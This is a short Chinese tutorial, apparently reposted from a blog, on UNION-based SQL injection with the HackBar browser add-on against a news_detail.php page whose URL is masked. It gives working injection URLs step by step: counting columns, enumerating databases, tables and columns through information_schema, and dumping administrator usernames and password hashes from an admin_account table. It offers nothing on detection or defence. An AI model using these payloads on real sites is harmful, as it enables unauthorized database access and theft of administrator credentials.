利用hackbar进行sql注入简单实例

来源:互联网 发布:知乎 渡边信一郎 编辑:程序博客网 时间:2024/06/05 02:10

这个简单的实例是对一个网址进行sql注入,获得管理员的账号和密码

目标网址:http://www.xxx/news_detail.php?id=186

步骤如下:
(1)先猜解当前网页的字段数
在hackbar的输入框中输入:
http://www.xxx/news_detail.php?id=186 order by 7
页面显示正常,输入
http://www.xxx/news_detail.php?id=186 order by 8
页面报错,说明字段数为7.

(2)获取数据库的基本信息
输入
http://www.xxx/news_detail.php?id=186 union select 1,2,3,4,5,6,7
注意看页面显示的数字的位置,当我们对那个数字位置进行函数替换的时候才知道那个位置的信息是什么,比如页面显示是“用户名:1”那么当执行
http://www.xxx/news_detail.php?id=186 union select database(),2,3,4,5,6,7
时,页面显示是“用户名:admin_db”那么这个admin_db就是database()的值。
现在想要获得当前数据库,用户名和所有数据库,执行
http://www.xxx/news_detail.php?id=186 union select 1,database(),concat(user()),group_concat(distinct+ table_schema,0x20),5,6,7
+from information_schema.tables

得到database()值为test_db,user()值为admin,所有的库为:text_db,text2_db,text3_db,information_schema

(3)根据数据库爆全部的数据表
http://www.xxx/news_detail.php?id=186 union select 1,database(),3,group_concat(distinct+table_name,0x20),5,6,7
+from information_schema.tables where table_schema=database()

会得到很多表
看到其中有一个叫admin_account的表,猜测这个应该就是存储管理员信息的表

(4)根据表爆字段
http://www.xxx/news_detail.php?id=186 union select 1,database(),3,group_concat(distinct+column_name,0x20),5,6,7
+from information_schema.columns where table_name=0x61646d696e5f6163636f756e74

这里admin_acccount的hex值是0x61646d696e5f6163636f756e74
主意把要爆的表名转化为16进制,可以在http://www.newjson.com/change/hex2str/这个网站输入表名字符串进行转化。
得到几个字段,可以看到其中包括id,username,password

(5)最后就是根据字段爆出字段数据
http://www.xxx/news_detail.php?id=186 union select 1,database(),3,group_concat(distinct+id,0x2b,username,0x2b,password,0x2b),
5,6,7 +from admin_account

可以得到好几条数据
这里写图片描述
从中可以知道管理员的信息
不过得到的密码是加密过的,需要解密

原创粉丝点击